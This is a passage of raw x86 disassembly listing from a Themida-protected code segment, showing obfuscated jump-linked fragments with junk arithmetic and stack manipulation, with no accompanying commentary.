; ---------------------------------------------------------------------------
loc_5996E5: ; CODE XREF: Themida_:0059E45Bj
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A41CD
; ---------------------------------------------------------------------------
loc_5996F0: ; CODE XREF: Themida_:00592546j
mov ebx, 67F13840h
sub ebx, 0FFFFFFFFh
sub ebx, 67F1383Dh
mov esi, ebx
pop ebx
sub eax, 36F03D48h
add eax, esi
add eax, 36F03D48h
jmp loc_5979F6
; ---------------------------------------------------------------------------
loc_599712: ; CODE XREF: Themida_:0059EC2Ej
push edx
mov edx, 1B6163C9h
xor [esp+4], edx
pop edx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_59B924
; ---------------------------------------------------------------------------
loc_59972E: ; CODE XREF: Themida_:00597BF8j
and ecx, 17E0738Bh
jmp loc_59D8DD
; ---------------------------------------------------------------------------
loc_599739: ; CODE XREF: Themida_:00592E71j
inc ebp
or ebp, 1AD77F9h
xor ebp, 7CD29AB0h
mov ebx, ebp
jmp loc_595E5E
; ---------------------------------------------------------------------------
loc_59974D: ; CODE XREF: Themida_:005A069Ej
xor edi, 354C31C8h
jmp loc_59AAD7
; ---------------------------------------------------------------------------
loc_599758: ; CODE XREF: Themida_:00590CC5j
pop ecx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push 7D33h
mov [esp], eax
jmp loc_5907C4
; ---------------------------------------------------------------------------
loc_599776: ; CODE XREF: Themida_:0059FDADj
mov esi, 4D044DAh
push eax
mov eax, 28B451F7h
xor eax, 542D4241h
sub esi, eax
jmp loc_5A5649
; ---------------------------------------------------------------------------
loc_59978D: ; CODE XREF: Themida_:0059620Cj
dec esi
or esi, 40F04964h
jmp loc_595C91
; ---------------------------------------------------------------------------
loc_599799: ; CODE XREF: Themida_:00594FEDj
add esi, 4
jmp loc_593F7D
; ---------------------------------------------------------------------------
loc_5997A4: ; CODE XREF: Themida_:005930E0j
add edx, 50A223DDh
add edx, ebx
jmp loc_5A2602
; ---------------------------------------------------------------------------
loc_5997B1: ; CODE XREF: Themida_:0059743Cj
or [edi+1Ch], ebp
jmp loc_5A1F3F
; ---------------------------------------------------------------------------
loc_5997B9: ; CODE XREF: Themida_:005A0163j
mov esp, [esp]
or [esp], al
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5997C5: ; CODE XREF: Themida_:00598FDEj
mov [esp], edx
sub esp, 4
jmp loc_5A0690
; ---------------------------------------------------------------------------
loc_5997D3: ; CODE XREF: Themida_:0059AF77j
sub ebp, edx
jmp loc_5A5011
; ---------------------------------------------------------------------------
loc_5997DA: ; CODE XREF: Themida_:00592067j
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_598A19
; ---------------------------------------------------------------------------
loc_5997EE: ; CODE XREF: Themida_:00592EB7j
push ebx
push ecx
mov cl, 1Bh
shr cl, 2
push eax
mov al, 0B6h
shl al, 4
not al
xor al, 83h
not al
sub al, 84h
jmp loc_592503
; ---------------------------------------------------------------------------
loc_599808: ; CODE XREF: Themida_:00599484j
add ebx, 41FA572Eh
dec ebx
push edx
mov edx, 408C0C89h
not edx
neg edx
jmp loc_59D263
; ---------------------------------------------------------------------------
loc_59981E: ; CODE XREF: Themida_:005905CDj
xor ebp, 0F989B9B9h
jmp loc_5A2F46
; ---------------------------------------------------------------------------
loc_599829: ; CODE XREF: Themida_:0059F262j
not edx
xor edx, 0AD54EC5Eh
mov esi, edx
pop edx
neg esi
xor esi, 0E584A3EAh
xor edx, esi
pop esi
mov ebx, edx
jmp loc_59515A
; ---------------------------------------------------------------------------
loc_599846: ; CODE XREF: Themida_:00595FF9j
push esp
mov edx, [esp]
push edi
jmp loc_59DA80
; ---------------------------------------------------------------------------
lodsd
push 7319h
mov [esp], esi
mov esi, 78232EF3h
sub eax, 14390990h
jmp loc_59286A
; ---------------------------------------------------------------------------
loc_599868: ; CODE XREF: Themida_:0059AAA9j
movzx eax, al
mov dx, [esp]
push edx
jmp loc_59AF2A
; ---------------------------------------------------------------------------
loc_599875: ; CODE XREF: Themida_:0059F6CCj
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59987A: ; CODE XREF: Themida_:0059EBDFj
pop eax
add esp, 4
jmp loc_5A4437
; ---------------------------------------------------------------------------
loc_599886: ; CODE XREF: Themida_:005A4ACEj
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59988B: ; CODE XREF: Themida_:00593731j
mov bl, 1
sub dh, bl
pop ebx
jmp loc_595377
; ---------------------------------------------------------------------------
loc_599895: ; CODE XREF: Themida_:00596CC3j
dec edi
add edi, 165F18E1h
inc edi
not edi
sub edi, 0AAD576D7h
jmp loc_5A51D4
; ---------------------------------------------------------------------------
loc_5998AA: ; CODE XREF: Themida_:00595330j
mov [esp], eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_59F818
; ---------------------------------------------------------------------------
loc_5998BF: ; CODE XREF: Themida_:0059AD6Fj
shr bp, 2
sub bp, 6652h
inc bp
jmp loc_59F14A
; ---------------------------------------------------------------------------
loc_5998CF: ; CODE XREF: Themida_:005A1295j
sub eax, ebp
jmp loc_5A5263
; ---------------------------------------------------------------------------
loc_5998D6: ; CODE XREF: Themida_:00595DA1j
add dword ptr [esp], 4
pop eax
jmp loc_598817
; ---------------------------------------------------------------------------
loc_5998E3: ; CODE XREF: Themida_:0059D046j
add ecx, 5A791BF4h
sub ecx, esi
push ebx
jmp loc_592C09
; ---------------------------------------------------------------------------
loc_5998F1: ; CODE XREF: Themida_:00598B27j
push ebx
mov ebx, 4
add ecx, ebx
jmp loc_596DC3
; ---------------------------------------------------------------------------
loc_5998FE: ; CODE XREF: Themida_:0059714Fj
mov esp, [esp]
or [esp], ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59990B: ; CODE XREF: Themida_:00594149j
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59991C: ; CODE XREF: Themida_:00594BF0j
xchg ebp, [esp]
pop esp
jmp loc_599428
; ---------------------------------------------------------------------------
loc_599925: ; CODE XREF: Themida_:0059133Dj
sub eax, ecx
pop ecx
sub eax, 22DF0CCAh
jmp loc_59DAC7
; ---------------------------------------------------------------------------
loc_599932: ; CODE XREF: Themida_:005A1456j
mov esp, [esp]
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edi
push esp
jmp loc_5A1AED
; ---------------------------------------------------------------------------
loc_599951: ; CODE XREF: Themida_:005A051Bj
push esp
jmp loc_5A3301
; ---------------------------------------------------------------------------
loc_599957: ; CODE XREF: Themida_:005A1826j
mov esp, [esp]
push dword ptr [esp]
jmp loc_59661B
; ---------------------------------------------------------------------------
loc_599962: ; CODE XREF: Themida_:0059E2DBj
pop esp
mov [esp], edi
push ecx
jmp loc_5A022A
; ---------------------------------------------------------------------------
loc_59996C: ; CODE XREF: Themida_:005A2136j
or bh, dh
pop edx
push cx
mov cl, bh
not cl
mov bh, cl
jmp loc_595363
; ---------------------------------------------------------------------------
loc_59997C: ; CODE XREF: Themida_:0059D6A6j
mov ax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 2
xchg ebp, [esp]
pop esp
add bl, 29h
jmp loc_59A6B0
; ---------------------------------------------------------------------------
loc_599998: ; CODE XREF: Themida_:00590491j
mov ebp, 7B583CD5h
inc ebp
jmp loc_59C908
; ---------------------------------------------------------------------------
loc_5999A3: ; CODE XREF: Themida_:0059E74Dj
mov ebp, 9A1614Ah
jmp loc_59B5B2
; ---------------------------------------------------------------------------
loc_5999AD: ; CODE XREF: Themida_:00598BA4j
pop edx
jmp loc_5A3923
; ---------------------------------------------------------------------------
loc_5999B3: ; CODE XREF: Themida_:0059C324j
push esi
mov esi, 5ABE71BBh
push ebp
mov ebp, 517B3E2Eh
sub esi, ebp
pop ebp
jmp loc_59B363
; ---------------------------------------------------------------------------
loc_5999C7: ; CODE XREF: Themida_:005A06FEj
mov [esp], ebp
jmp loc_59BF09
; ---------------------------------------------------------------------------
loc_5999CF: ; CODE XREF: Themida_:0059D036j
pop ecx
and dh, 0CFh
push 7920h
mov [esp], eax
jmp loc_59220D
; ---------------------------------------------------------------------------
loc_5999E0: ; CODE XREF: Themida_:0059B440j
push dword ptr [esp]
pop ecx
add esp, 4
dec ebx
jmp loc_59FC28
; ---------------------------------------------------------------------------
loc_5999ED: ; CODE XREF: Themida_:0059E085j
sub cl, 1
push bx
mov bh, 92h
sub cl, bh
pop bx
xor bh, cl
jmp loc_5928A5
; ---------------------------------------------------------------------------
loc_5999FF: ; CODE XREF: Themida_:005A3F34j
pop ebx
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5A0C08
; ---------------------------------------------------------------------------
loc_599A0E: ; CODE XREF: Themida_:005959A0j
push dword ptr [esp]
pop ecx
push ecx
jmp loc_59F47B
; ---------------------------------------------------------------------------
loc_599A18: ; CODE XREF: Themida_:005959E0j
pop esp
or edx, eax
shl edx, 1
push 3F66h
jmp loc_59AEE5
; ---------------------------------------------------------------------------
loc_599A27: ; CODE XREF: Themida_:00599AC9j
xchg eax, edi
xchg eax, edi
add eax, 2582164Dh
sub ebx, 34011EC1h
jmp loc_5974C0
; ---------------------------------------------------------------------------
loc_599A39: ; CODE XREF: Themida_:005A22F0j
pop edi
sub ebx, edx
pop edx
shr ebx, 5
not ebx
jmp loc_5A534B
; ---------------------------------------------------------------------------
loc_599A47: ; CODE XREF: Themida_:00596297j
add edx, 2B276BFFh
add edx, 1A62CF0Eh
add ecx, edx
pop edx
push ebp
mov ebp, 42520981h
sub ebp, 26200BB7h
dec ebp
sub ebp, 1C31FDC7h
add ecx, ebp
pop ebp
jmp loc_5A5250
; ---------------------------------------------------------------------------
loc_599A71: ; CODE XREF: Themida_:005A391Ej
pop esi
and esi, 7E9A7534h
sub esi, 50C558B4h
mov edi, esi
pop esi
add edi, esi
pop esi
mov esi, edi
mov edi, [esp]
add esp, 4
add edx, esi
mov esi, [esp]
add esp, 4
jmp loc_59D4D7
; ---------------------------------------------------------------------------
loc_599A9C: ; CODE XREF: Themida_:0059A565j
sub ecx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_59B96C
; ---------------------------------------------------------------------------
loc_599AA9: ; CODE XREF: Themida_:005920CCj
mov ecx, 5DB148A8h
shl ecx, 8
jmp loc_598455
; ---------------------------------------------------------------------------
loc_599AB6: ; CODE XREF: Themida_:00599C53j
add esp, 4
push ebx
mov ebx, 25BB2D34h
push eax
mov eax, 37284919h
xchg eax, edi
xchg eax, edi
not eax
jmp loc_599A27
; ---------------------------------------------------------------------------
loc_599ACE: ; CODE XREF: Themida_:0059C205j
pop ebp
jmp loc_5902EE
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
jmp loc_5958E4
; ---------------------------------------------------------------------------
loc_599ADC: ; CODE XREF: Themida_:00590640j
sub ecx, esi
push dword ptr [esp]
jmp loc_598FE3
; ---------------------------------------------------------------------------
loc_599AE6: ; CODE XREF: Themida_:00597D0Dj
dec ebp
not ebp
jmp loc_592579
; ---------------------------------------------------------------------------
loc_599AEE: ; CODE XREF: Themida_:0059851Fj
add esp, 4
push ebx
mov ebx, 2D3E3B5Ah
sub esi, ebx
mov ebx, [esp]
jmp loc_5918DD
; ---------------------------------------------------------------------------
loc_599B01: ; CODE XREF: Themida_:00596915j
mov esi, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
push edx
mov edx, 4
add ebp, edx
jmp loc_5981B9
; ---------------------------------------------------------------------------
loc_599B1F: ; CODE XREF: Themida_:005A16A5j
xor edi, ebx
pop ebx
add esi, edi
pop edi
jmp loc_59A236
; ---------------------------------------------------------------------------
loc_599B2A: ; CODE XREF: Themida_:00598FBCj
pop esi
add esi, 4
add esi, 4
xor esi, [esp]
jmp loc_592D93
; ---------------------------------------------------------------------------
loc_599B3F: ; CODE XREF: Themida_:0059D979j
pop eax
add esp, 4
push edx
mov edx, 4
push ecx
mov ecx, 4C837031h
shr ecx, 2
shl ecx, 8
dec ecx
or ecx, 879059Ah
shl ecx, 8
sub ecx, 86B4915Ah
jmp loc_593F53
; ---------------------------------------------------------------------------
loc_599B6A: ; CODE XREF: Themida_:005A29D4j
push dword ptr [esp]
pop ebx
add esp, 4
push ebx
push ebp
mov ebp, 1A9B432Bh
mov ebx, 77AE08D5h
dec ebx
xor ebx, 7C103714h
jmp loc_59CF81
; ---------------------------------------------------------------------------
loc_599B89: ; CODE XREF: Themida_:0059BA1Cj
mov edi, edx
pop edx
push ecx
push eax
mov eax, 1FDB1BC4h
jmp loc_5A1F2B
; ---------------------------------------------------------------------------
loc_599B98: ; CODE XREF: Themida_:00590F08j
xor esi, eax
pop eax
add edi, esi
jmp loc_59FD23
; ---------------------------------------------------------------------------
loc_599BA2: ; CODE XREF: Themida_:0059C706j
pop edi
pop esi
push esi
not dword ptr [esp]
pop esi
xchg esi, edi
jmp loc_5A111C
; ---------------------------------------------------------------------------
loc_599BB0: ; CODE XREF: Themida_:0059F0DBj
mov esi, 752154B6h
neg esi
sub esi, 395C7882h
add edx, esi
jmp loc_5A56D0
; ---------------------------------------------------------------------------
loc_599BC4: ; CODE XREF: Themida_:0059FADAj
pop ebx
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebp
jmp loc_5A36DC
; ---------------------------------------------------------------------------
loc_599BD6: ; CODE XREF: Themida_:005942B9j
add edi, ecx
jmp loc_5A542B
; ---------------------------------------------------------------------------
loc_599BDD: ; CODE XREF: Themida_:00595393j
push ebp
mov ebp, 467812C3h
jmp loc_5A4675
; ---------------------------------------------------------------------------
loc_599BE8: ; CODE XREF: Themida_:00591F39j
pop dword ptr [edi+20h]
push ebp
jmp loc_59D3F7
; ---------------------------------------------------------------------------
loc_599BF1: ; CODE XREF: Themida_:0059D4D2j
mov [esp], ebp
mov ebp, 2
push ebx
mov ebx, esp
add ebx, 4
push ecx
mov ecx, 4
sub ebx, ecx
pop ecx
xchg ebx, [esp]
pop esp
mov [esp], ebp
pop esi
jmp loc_5A24EC
; ---------------------------------------------------------------------------
loc_599C18: ; CODE XREF: Themida_:00591AC8j
pop ecx
add esp, 4
xchg edi, [esp]
pop esp
push ebx
mov ebx, esp
add ebx, 4
push eax
mov eax, 776C4D11h
jmp loc_59F87D
; ---------------------------------------------------------------------------
loc_599C34: ; CODE XREF: Themida_:005977E3j
add ebp, 9E07FBF6h
add ebp, 0C9F0E5FCh
push edx
mov edx, 30AF5CC6h
sub eax, edx
pop edx
add eax, ebp
add eax, 30AF5CC6h
mov ebp, [esp]
jmp loc_599AB6
; ---------------------------------------------------------------------------
loc_599C58: ; CODE XREF: Themida_:0059A1D3j
sub [esp], bh
mov bh, [esp]
add esp, 4
push small 7B11h
mov [esp], cx
jmp loc_59FC62
; ---------------------------------------------------------------------------
loc_599C6E: ; CODE XREF: Themida_:005A50AFj
mov ebx, 4BAE79EBh
jmp loc_5A169F
; ---------------------------------------------------------------------------
loc_599C78: ; CODE XREF: Themida_:0059550Bj
push 28A3h
mov [esp], ebp
mov ebp, esp
push edx
mov edx, 79B002C4h
sub edx, 0FFFFFFFFh
sub edx, 1
add edx, 864FFD40h
push 3997h
mov [esp], esi
mov esi, 1A7036C6h
xor esi, 5DB534A6h
push ebx
mov ebx, 0A1A0E03h
sub ebx, 0C3E9A021h
sub ebp, ebx
pop ebx
jmp loc_59AA3B
; ---------------------------------------------------------------------------
loc_599CBE: ; CODE XREF: Themida_:0059F6ADj
pop edx
inc ebp
xchg edx, ebp
neg edx
jmp loc_5A0059
; ---------------------------------------------------------------------------
loc_599CC9: ; CODE XREF: Themida_:00594C3Aj
add esp, 4
jmp loc_5A3D96
; ---------------------------------------------------------------------------
loc_599CD4: ; CODE XREF: Themida_:005A2D7Aj
add ebp, ebx
add ebp, 78BE449Dh
jmp loc_59DEFD
; ---------------------------------------------------------------------------
loc_599CE1: ; CODE XREF: Themida_:0059162Dj
push 6FCAh
jmp loc_59F4B8
; ---------------------------------------------------------------------------
loc_599CEB: ; CODE XREF: Themida_:005934C6j
pop esp
movsx ecx, ax
jmp loc_5A29D9
; ---------------------------------------------------------------------------
loc_599CF4: ; CODE XREF: Themida_:00596F68j
add esi, edx
pop edx
push edx
mov edx, 4
add esi, edx
pop edx
xor esi, [esp]
jmp loc_5A2ED5
; ---------------------------------------------------------------------------
loc_599D08: ; CODE XREF: Themida_:0059FC55j
or edx, eax
shl edx, 1
push eax
push edi
mov edi, 630753B4h
mov eax, 293E59A7h
jmp loc_590FC6
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_599D2D: ; CODE XREF: Themida_:0059798Fj
pop esi
sub ebx, edx
jmp loc_59087A
; ---------------------------------------------------------------------------
loc_599D35: ; CODE XREF: Themida_:005A18E1j
mov [esp], edi
push esp
jmp loc_5914A8
; ---------------------------------------------------------------------------
loc_599D3E: ; CODE XREF: Themida_:00590E22j
sub esp, 4
jmp loc_59D852
; ---------------------------------------------------------------------------
loc_599D49: ; CODE XREF: Themida_:005913F4j
push ebp
pop esi
jmp loc_5A4955
; ---------------------------------------------------------------------------
loc_599D50: ; CODE XREF: Themida_:0059D951j
add edi, 0EF6102F3h
add edi, 1
push ebx
push 6E2D06ADh
pop ebx
xor edi, ebx
jmp loc_5A36CC
; ---------------------------------------------------------------------------
loc_599D67: ; CODE XREF: Themida_:005A2412j
push esi
mov esi, 150E06ADh
push esi
xor dword ptr [esp], 5DF43FBBh
pop edx
push edi
mov edi, 5DF43FBBh
jmp loc_59798C
; ---------------------------------------------------------------------------
loc_599D81: ; CODE XREF: Themida_:005A3C84j
mov eax, 1D2705A3h
not eax
dec eax
xor eax, 15258C3h
sub eax, 1AAE7771h
jmp loc_592604
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_594DD2
; ---------------------------------------------------------------------------
loc_599DB2: ; CODE XREF: Themida_:005996C1j
sub edx, 66D171E6h
pop eax
jmp loc_5987EE
; ---------------------------------------------------------------------------
loc_599DBE: ; CODE XREF: Themida_:00598931j
shr ebp, 2
jmp loc_596CC8
; ---------------------------------------------------------------------------
loc_599DC6: ; CODE XREF: Themida_:00590784j
xchg esi, [esp]
pop esp
mov [esp], edx
push esi
push eax
mov eax, 1A4060DFh
jmp loc_5984E1
; ---------------------------------------------------------------------------
loc_599DD9: ; CODE XREF: Themida_:00596791j
add ecx, edx
jmp loc_59A072
; ---------------------------------------------------------------------------
loc_599DE0: ; CODE XREF: Themida_:005964C9j
sub ebx, 0DCDFB102h
jmp loc_596857
; ---------------------------------------------------------------------------
loc_599DEB: ; CODE XREF: Themida_:00593CB0j
mov [esp], esi
push dword ptr [esp+4]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5967D6
; ---------------------------------------------------------------------------
loc_599DFD: ; CODE XREF: Themida_:005A33E4j
add eax, 4
jmp loc_5A2567
; ---------------------------------------------------------------------------
loc_599E07: ; CODE XREF: Themida_:005A1DB0j
add ch, 0FEh
dec ch
push eax
mov ah, 4Bh
xor ah, 52h
sub ah, 69h
sub ch, ah
pop eax
and dl, ch
jmp loc_597510
; ---------------------------------------------------------------------------
loc_599E1F: ; CODE XREF: Themida_:005938B0j
push dword ptr [esp]
jmp loc_5A1E8E
; ---------------------------------------------------------------------------
loc_599E27: ; CODE XREF: Themida_:005994C5j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], edx
jmp loc_592D09
; ---------------------------------------------------------------------------
loc_599E45: ; CODE XREF: Themida_:0059D55Bj
mov ecx, 68435AE2h
push 7119h
mov [esp], ecx
jmp loc_59F434
; ---------------------------------------------------------------------------
loc_599E57: ; CODE XREF: Themida_:00598F76j
push esi
jmp loc_59138F
; ---------------------------------------------------------------------------
loc_599E5D: ; CODE XREF: Themida_:005992F3j
add edx, esi
pop esi
xchg edx, [esp]
jmp loc_595843
; ---------------------------------------------------------------------------
loc_599E68: ; CODE XREF: Themida_:0059DE02j
mov [esp], ebx
mov ebx, 11716E5Ah
jmp loc_59D720
; ---------------------------------------------------------------------------
loc_599E75: ; CODE XREF: Themida_:005A0FE2j
mov edi, 1AC55E4Dh
mov ebx, edi
jmp loc_5944BD
; ---------------------------------------------------------------------------
loc_599E81: ; CODE XREF: Themida_:005A14DDj
mov eax, [esp]
jmp loc_59EF2B
; ---------------------------------------------------------------------------
loc_599E89: ; CODE XREF: Themida_:005A0A1Bj
mov [esp], edi
mov edi, 5D19FA6Ch
add eax, edi
pop edi
and esi, eax
pop eax
inc esi
neg esi
add esi, 907D6D65h
xor edx, esi
pop esi
shl edx, 4
sub edx, 0FFFFFFFFh
push ebx
mov ebx, 97B815FDh
sub edx, ebx
pop ebx
add eax, edx
pop edx
add eax, 4
jmp loc_594B7A
; ---------------------------------------------------------------------------
loc_599EBF: ; CODE XREF: Themida_:005A1BC6j
pop ebp
jmp loc_5A080B
; ---------------------------------------------------------------------------
loc_599EC5: ; CODE XREF: Themida_:005A1A57j
mov bh, 18h
xor bh, ah
pop eax
mov ah, bh
pop ebx
or ah, 77h
sub esp, 4
mov [esp], ecx
mov ch, 3Bh
shl ch, 4
jmp loc_5A3F92
; ---------------------------------------------------------------------------
loc_599EE3: ; CODE XREF: Themida_:00591058j
pop edx
pop eax
jmp loc_593FFC
; ---------------------------------------------------------------------------
loc_599EEA: ; CODE XREF: Themida_:0059D52Ej
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_5963C0
; ---------------------------------------------------------------------------
loc_599F01: ; CODE XREF: Themida_:0059B67Aj
xchg ebx, [esp]
jmp loc_594D15
; ---------------------------------------------------------------------------
loc_599F09: ; CODE XREF: Themida_:005A0E28j
inc cl
push dx
mov dh, 1
jmp loc_5A0499
; ---------------------------------------------------------------------------
loc_599F14: ; CODE XREF: Themida_:0059566Fj
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], edi
push dword ptr [esp+4]
pop edi
jmp loc_5A327A
; ---------------------------------------------------------------------------
loc_599F35: ; CODE XREF: Themida_:005A1F3Aj
sub ebp, 28385866h
mov edx, [esp]
add esp, 4
push 377h
mov [esp], edi
mov edi, 4
add ebp, 3E4F2562h
sub ebp, 1A346EF7h
add ebp, edi
add ebp, 1A346EF7h
sub ebp, 3E4F2562h
mov edi, [esp]
add esp, 4
xor ebp, [esp]
jmp loc_591594
; ---------------------------------------------------------------------------
loc_599F79: ; CODE XREF: Themida_:005A4CE3j
mov eax, [esp]
add esp, 4
jmp loc_5A05D4
; ---------------------------------------------------------------------------
loc_599F87: ; CODE XREF: Themida_:00595E9Aj
mov edi, 4AE74AC6h
neg edi
shr edi, 2
and edi, 4B8443B1h
or edi, 6F3D040Bh
and edi, 44B663CCh
sub edi, 63ADED5h
add ebp, edi
pop edi
sub ebp, esi
sub ebp, 3DF92233h
mov esi, [esp]
add esp, 4
xchg ecx, ebp
dec ecx
xor ebp, ecx
xor ecx, ebp
xor ebp, ecx
xchg eax, ebp
not eax
xchg eax, ebp
sub ebp, 0AD19E706h
add eax, 63792808h
sub eax, 4E6809ADh
sub eax, ebp
add eax, 4E6809ADh
sub eax, 63792808h
push dword ptr [esp]
pop ebp
add esp, 4
add eax, 5E2854C9h
add eax, edx
push ecx
mov ecx, 5E2854C9h
sub eax, 614C136Ah
sub eax, ecx
push edi
jmp loc_59ED14
; ---------------------------------------------------------------------------
loc_59A00A: ; CODE XREF: Themida_:005A0F9Cj
shr ecx, 4
not ecx
neg ecx
shl ecx, 8
xor ecx, 58BF4F04h
add ebx, ecx
pop ecx
push edx
mov edx, 4
add ebx, edx
pop edx
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_5945B3
; ---------------------------------------------------------------------------
loc_59A035: ; CODE XREF: Themida_:0059FF3Dj
add edx, esi
sub edx, 73246ABCh
push eax
mov eax, 4B872A83h
add edx, eax
jmp loc_598FB7
; ---------------------------------------------------------------------------
loc_59A04A: ; CODE XREF: Themida_:00594B1Bj
push 46A9h
jmp loc_5923C9
; ---------------------------------------------------------------------------
loc_59A054: ; CODE XREF: Themida_:00591091j
push esi
push 1431h
jmp loc_59CE24
; ---------------------------------------------------------------------------
loc_59A05F: ; CODE XREF: Themida_:00595B83j
mov ecx, [esp]
push edx
jmp loc_591690
; ---------------------------------------------------------------------------
loc_59A068: ; CODE XREF: Themida_:005A3A42j
xchg edi, [esp]
pop esp
push edi
jmp loc_590D0F
; ---------------------------------------------------------------------------
loc_59A072: ; CODE XREF: Themida_:00599DDBj
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
push 1409h
mov [esp], ebx
push eax
mov eax, 2
mov ebx, eax
jmp loc_5A3194
; ---------------------------------------------------------------------------
loc_59A096: ; CODE XREF: Themida_:0059DD0Fj
mov [esp], ebx
push 1472h
push esp
jmp loc_59303C
; ---------------------------------------------------------------------------
loc_59A0A4: ; CODE XREF: Themida_:00594ADDj
push eax
push ecx
mov ecx, 0A75513Ah
neg ecx
inc ecx
neg ecx
jmp loc_5A0127
; ---------------------------------------------------------------------------
loc_59A0B5: ; CODE XREF: Themida_:005922B6j
mov esi, 0EBFC89CCh
jmp loc_5A286F
; ---------------------------------------------------------------------------
loc_59A0BF: ; CODE XREF: Themida_:0059AE0Fj
mov ecx, 11716E5Ah
add dword ptr [esp+4], 4FE157EDh
push esi
jmp loc_594EB6
; ---------------------------------------------------------------------------
loc_59A0D2: ; CODE XREF: Themida_:00597FCBj
mov edi, 4
add ecx, edi
pop edi
push 7222h
mov [esp], ebx
jmp loc_59F1C1
; ---------------------------------------------------------------------------
loc_59A0E7: ; CODE XREF: Themida_:0059433Bj
sub esp, 2
mov [esp], cx
push eax
mov ah, 8Dh
xor ah, 0F1h
not ah
jmp loc_59F533
; ---------------------------------------------------------------------------
loc_59A0FB: ; CODE XREF: Themida_:005A0CA4j
sub bl, cl
pop ecx
sub esp, 4
mov [esp], edx
mov dh, 0CBh
jmp loc_5A3BBB
; ---------------------------------------------------------------------------
loc_59A10B: ; CODE XREF: Themida_:00595CB6j
add eax, esi
add eax, 37C6206Bh
push 3572h
mov [esp], ebx
jmp loc_597AC2
; ---------------------------------------------------------------------------
loc_59A11F: ; CODE XREF: Themida_:005A49EEj
mov [esp], ecx
mov ecx, 2CD950DAh
jmp loc_590A03
; ---------------------------------------------------------------------------
loc_59A12C: ; CODE XREF: Themida_:00598416j
xor cl, 1Dh
sub esp, 4
mov [esp], ebx
push eax
mov al, 62h
jmp loc_59761B
; ---------------------------------------------------------------------------
locret_59A140: ; CODE XREF: Themida_:00592B3Fj
retn
; ---------------------------------------------------------------------------
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59A146: ; CODE XREF: Themida_:0059E492j
sub edx, edi
pop edi
shr edx, 5
push ecx
push 0CFE23E02h
mov ecx, [esp]
add esp, 4
sub edx, 7F4A5B94h
sub edx, ecx
add edx, 7F4A5B94h
pop ecx
mov eax, edx
mov edx, [esp]
jmp loc_59660B
; ---------------------------------------------------------------------------
loc_59A174: ; CODE XREF: Themida_:00595BD6j
add ecx, edx
add ecx, 11BF48E1h
sub ecx, 582A5A1Eh
pop edx
add edi, ecx
pop ecx
jmp loc_5937E1
; ---------------------------------------------------------------------------
loc_59A18B: ; CODE XREF: Themida_:00592140j
push ecx
push eax
push 7F224663h
pop eax
jmp loc_59525E
; ---------------------------------------------------------------------------
loc_59A198: ; CODE XREF: Themida_:00595E86j
add edi, 4
xchg edi, [esp]
jmp loc_591501
; ---------------------------------------------------------------------------
loc_59A1A6: ; CODE XREF: Themida_:00593DD2j
not edx
push ebp
mov ebp, 1DB8A022h
jmp loc_5913F9
; ---------------------------------------------------------------------------
loc_59A1B3: ; CODE XREF: Themida_:00591AEDj
push 2C8Bh
mov [esp], edi
jmp loc_59AD7C
; ---------------------------------------------------------------------------
loc_59A1C0: ; CODE XREF: Themida_:00595FBBj
xor edx, [esp]
xor [esp], edx
xchg eax, edx
jmp loc_592595
; ---------------------------------------------------------------------------
loc_59A1CC: ; CODE XREF: Themida_:0059E13Bj
mov bh, 92h
push 0
jmp loc_599C58
; ---------------------------------------------------------------------------
loc_59A1D8: ; CODE XREF: Themida_:0059CA4Ej
push 1Ch
mov ebx, [esp]
push ebp
push esp
pop ebp
jmp loc_59EDA5
; ---------------------------------------------------------------------------
loc_59A1E8: ; CODE XREF: Themida_:005A4929j
push eax
mov eax, 4F3C2042h
inc eax
jmp loc_5A02C5
; ---------------------------------------------------------------------------
loc_59A1F4: ; CODE XREF: Themida_:005A3563j
sub ebx, 2AA30140h
add ebx, 75B62DA8h
add ebx, edi
push edi
mov edi, 75B62DA8h
sub ebx, edi
jmp loc_59FC38
; ---------------------------------------------------------------------------
loc_59A20F: ; CODE XREF: Themida_:005A5676j
pop ebx
jmp loc_59C50D
; ---------------------------------------------------------------------------
loc_59A215: ; CODE XREF: Themida_:005A4C69j
pop edx
jmp loc_5A1265
; ---------------------------------------------------------------------------
loc_59A21B: ; CODE XREF: Themida_:005A4A48j
sub esp, 4
mov [esp], ecx
xchg esi, [esp]
push esi
jmp loc_59E477
; ---------------------------------------------------------------------------
loc_59A22D: ; CODE XREF: Themida_:0059D38Fj
pop esp
mov [esp], ecx
jmp loc_5A53B4
; ---------------------------------------------------------------------------
loc_59A236: ; CODE XREF: Themida_:00599B25j
add esi, 4
